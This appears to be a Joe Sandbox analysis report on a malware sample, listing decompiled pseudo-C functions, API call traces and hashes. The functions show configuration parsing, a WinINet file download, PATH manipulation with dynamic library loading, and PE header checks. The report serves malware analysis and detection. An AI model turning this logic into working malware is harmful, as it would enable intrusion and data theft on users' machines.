Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004082E0, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,0083AAB0), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,0083AB58), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,0083B608), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 006C8530, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C855F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006C85AF
RtlAllocateHeap.NTDLL(00000000), ref: 006C85B6
lstrcat.KERNEL32(?,0041A208), ref: 006C8631

Part of subcall function 006C7480: memset.MSVCRT ref: 006C74D2
Part of subcall function 006C7480: LocalAlloc.KERNEL32(00000040,?), ref: 006C7521
Part of subcall function 006C7480: lstrcat.KERNEL32(?,00000000), ref: 006C7587

lstrcat.KERNEL32(?,00000000), ref: 006C8675
lstrcat.KERNEL32(?,0041A488), ref: 006C8688
lstrcat.KERNEL32(?,?), ref: 006C869C
lstrcat.KERNEL32(?,0041A158), ref: 006C86B0
lstrcat.KERNEL32(?,?), ref: 006C86C4
lstrcat.KERNEL32(?,004191F0), ref: 006C86D6
lstrcat.KERNEL32(?,?), ref: 006C86EA
lstrcat.KERNEL32(?,00418BC0), ref: 006C86FC
lstrlen.KERNEL32(?), ref: 006C870E

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction ID: a04327cbba27c3e539fdc3abdb94379d0feed3522a28dbdb90da8a51405b3929
Opcode Fuzzy Hash: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction Fuzzy Hash: DE5168B1A00108ABCB14DBA4DD4AFDA77B9EF4C705F008598F70993251D6359EA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 006C4C30, Relevance: 19.6, APIs: 13, Instructions: 141networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 006C4C5E
StrCmpCA.SHLWAPI(00000000,00418B84), ref: 006C4C8A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 006C4CDF
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 006C4D1F
StrCmpCA.SHLWAPI(?,00418B8C), ref: 006C4D35
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006C4D67
InternetReadFile.WININET(?,?,00000400,?), ref: 006C4D90
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 006C4DBE
CloseHandle.KERNEL32(?,?,00000400), ref: 006C4E0C
InternetCloseHandle.WININET(?), ref: 006C4E16
InternetCloseHandle.WININET(00000000), ref: 006C4E23

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID:
API String ID: 1681390745-0
Opcode ID: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction ID: 8a7eb6c458b4f1f6d9427f63648bed70308796554a62fc41aa9a10bd89ecff83
Opcode Fuzzy Hash: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction Fuzzy Hash: C15171B1A01208ABDB20DF90CC55FEE77B9FF48705F10809DF606A6280DB74AA80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824);
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006CBF40, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

4jlA, xrefs: 006CC09C, 006CC09F
4jlA, xrefs: 006CBF6C, 006CC0C0, 006CBF6F, 006CC0C3

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID:
String ID: 4jlA$4jlA
API String ID: 0-2587245362
Opcode ID: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction ID: 03ccfbbe98402adb255996bdf3ac0a336f4a5ec88fb7c4d180179fd5df0eae6d
Opcode Fuzzy Hash: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction Fuzzy Hash: ED51F8B5A11208EFCB04DBE4DC85FEEB7B9EF4C710F148518F605E6290DA349942CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 18.1, APIs: 12, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0x83a3d0
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0x83a3d0
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0x825788
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
					_t49 =  *0x41a2b0; // 0x83ab40
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0x83aae0
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0x83b368
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0x83ab10
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0x83b2a8
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0x83ac18
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(0083A3D0,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(0083A3D0,?), ref: 00407994
LoadLibraryA.KERNEL32(00825788), ref: 004079B2
GetProcAddress.KERNEL32(00000000,0083AB40), ref: 004079D7
GetProcAddress.KERNEL32(00000000,0083AAE0), ref: 004079F0
GetProcAddress.KERNEL32(00000000,0083B368), ref: 00407A08
GetProcAddress.KERNEL32(00000000,0083AB10), ref: 00407A20
GetProcAddress.KERNEL32(00000000,0083B2A8), ref: 00407A39
GetProcAddress.KERNEL32(00000000,0083AC18), ref: 00407A51

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID:
API String ID: 570708976-0
Opcode ID: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 006C7B50, Relevance: 18.1, APIs: 12, Instructions: 105libraryloaderstringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0041A034,0041B488,0000FFFF), ref: 006C7B7E
lstrcat.KERNEL32(?,0041B488), ref: 006C7BAD
lstrcat.KERNEL32(?,004191E8), ref: 006C7BBF
lstrcat.KERNEL32(?,00000000), ref: 006C7BD0
SetEnvironmentVariableA.KERNEL32(0041A034,?), ref: 006C7BE4
LoadLibraryA.KERNEL32(0041A6CC), ref: 006C7C02
GetProcAddress.KERNEL32(0041A824,0041A2B0), ref: 006C7C27
GetProcAddress.KERNEL32(0041A824,0041A628), ref: 006C7C40
GetProcAddress.KERNEL32(0041A824,0041A1B4), ref: 006C7C58
GetProcAddress.KERNEL32(0041A824,0041A12C), ref: 006C7C70
GetProcAddress.KERNEL32(0041A824,0041A7B4), ref: 006C7C89
GetProcAddress.KERNEL32(0041A824,0041A358), ref: 006C7CA1

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID:
API String ID: 570708976-0
Opcode ID: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction ID: f27627e385d48bb5878292ed98e2b6de41574aad782b41f2e8271d55a8410705
Opcode Fuzzy Hash: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction Fuzzy Hash: 9F4118B5512204DFD714EFA8ED48BF537F9FB08345F04C57AA10582260C7799AA2CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

(, xrefs: 004117FA
PE, xrefs: 004118AA

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 006D1970, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 006D197E
GetFileSize.KERNEL32(00000000,00000000), ref: 006D1A41
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 006D1A5E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 006D1A74
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 006D1A84
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 006D1A9A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 006D1AC3

Strings

PE, xrefs: 006D1AFA
(, xrefs: 006D1A4A

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: 51e8adcb40677fba4a01c79426ec81bad91dfe7cd2c2ff10b4a5b69aee7d8e82
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 718108B1D10208AFDB18CFD8D895BEEBBB6FB89301F14845AE505AF394D7749A81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0x8281c0
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0x8281f0
